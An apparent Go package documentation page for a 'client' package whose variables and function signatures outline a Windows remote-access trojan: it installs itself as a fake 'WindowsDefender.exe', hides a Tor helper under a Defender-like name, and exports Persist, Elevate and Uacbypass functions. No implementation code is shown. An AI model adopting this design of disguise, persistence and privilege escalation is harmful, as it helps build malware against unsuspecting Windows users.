client

package
v0.1.0 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: Jan 28, 2019 License: Unlicense Imports: 27 Imported by: 1

Documentation

Index

Constants

This section is empty.

Variables

View Source
var (
	Path         = filepath.Join(os.ExpandEnv("$AppData"), "WindowsDefender")
	PathExe      = filepath.Join(Path, "WindowsDefender.exe")
	TempZip      = filepath.Join(Path, "temp.zip")
	TorPath      = filepath.Join(Path, "Helper")
	TorExe       = filepath.Join(TorPath, "WinDefendHelper.exe")
	TorData      = filepath.Join(Path, "Helper", "conf")
	HostnamePath = filepath.Join(Path, "token")
)

Functions

func CheckElevate

func CheckElevate() bool

CheckElevate checks whether the current process has administrator priviliges

func CheckSetup

func CheckSetup() bool

func Elevate

func Elevate() error

func GetVer

func GetVer() (int, error)

GetVer gets the major version of the current installed Windows

func NetClient

func NetClient()

func Persist

func Persist(path string)

Persist makes sure that the executable is run after a reboot

func Setup

func Setup()

func Uacbypass

func Uacbypass(path string) error

Uacbypass bypasses User Account Control of Windows and escaletes priviliges to root if User has root priviliges

Types

This section is empty.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL